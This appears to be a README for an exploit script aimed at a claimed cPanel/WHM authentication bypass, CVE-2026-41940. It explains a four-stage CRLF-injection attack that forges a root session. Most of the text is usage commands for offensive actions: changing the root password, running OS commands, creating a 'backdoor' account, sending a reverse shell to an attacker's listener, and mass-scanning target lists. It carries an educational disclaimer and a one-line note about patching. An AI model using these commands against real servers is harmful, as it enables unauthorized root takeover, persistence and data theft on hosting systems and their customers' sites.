christian93111/cve-2026-41940cPanel/WHM Authentication Bypass (Zero-Day Vulnerability)
Disclaimer: This document and the associated script (
exploit.py) are provided strictly for educational purposes, security research, and authorized penetration testing. Do not use this software against systems you do not own or do not have explicit permission to test.
exploit.py is a script that demonstrates an authentication bypass vulnerability (CVE-2026-41940) in cPanel & WHM. The vulnerability allows an unauthenticated attacker to inject a root session into the daemon cache via a CRLF injection flaw, ultimately granting root-level WHM access without requiring valid credentials.
The exploit works by leveraging a CRLF (Carriage Return Line Feed) injection vulnerability within the Basic Authentication handling mechanism, combined with a session propagation flaw. The script automates the attack in four stages:
/login/ or /cgi/login.cgi) to acquire a baseline unauthenticated session cookie ().whostmgrsessioncpsrvd session cache. The server's redirect response leaks the generated security token (cpsess).do_token_denied to propagate the forged session into the daemon cache — making it a valid authenticated session./json-api/version) using the forged session to confirm root-level access.requests librarypip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argument | Description |
|---|---|
--target URL | Single WHM URL (e.g., https://target:2087) |
--target-file FILE | File with targets (one ip:port per line) — auto-enables check mode |
| Argument | Description |
|---|---|
--threads N | Concurrent threads for multi-target mode (default: 10) |
--hostname HOST | Override Host header — use when auto-discovery fails or gives wrong hostname |
--timeout N | Per-request timeout in seconds (default: 15) |
--retries N | Retry count on network errors (default: 3) |
--cookie-name NAME | Force a specific session cookie name (auto-detected if omitted) |
--no-verify | Skip Stage 4 verification and proceed anyway |
| Argument | Description |
|---|---|
--check | Check-only mode — verify vulnerability without exploiting (auto-set with --target-file) |
--password PASS | Change the root password to PASS |
--api FUNC | Call a specific WHM JSON-API function |
--api-params K=V,... | Comma-separated parameters for --api |
--exec CMD | Execute an OS command via WHM scripts/run_script (fallback: rawexec) |
--session | Generate a root one-click login URL — open immediately, token expires fast |
--shell | Drop into an interactive WHM shell (single target only) |
--dump | Dump server info: version, accounts, DNS zones, privileges |
--add-user USER PASS DOMAIN | Create a new cPanel hosting account |
--revshell LHOST LPORT | Send a bash reverse shell to your listener |
| Argument | Description |
|---|---|
--output FILE | Save session token and details to a JSON file |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
When using --shell, the following commands are available:
| Command | Description |
|---|---|
api <function> [k=v ...] | Call a WHM JSON-API function (e.g., api version) |
exec <command> | Run an OS command via WHM (e.g., exec id) |
passwd <newpass> | Change the root password |
dump | Dump server information |
revshell <lhost> <lport> | Send a reverse shell |
add <user> <pass> <domain> | Create a cPanel account |
save <path> | Save the current session to a file |
exit / quit | Exit the shell |
Update the latest cPanel/WHM security patches immediately.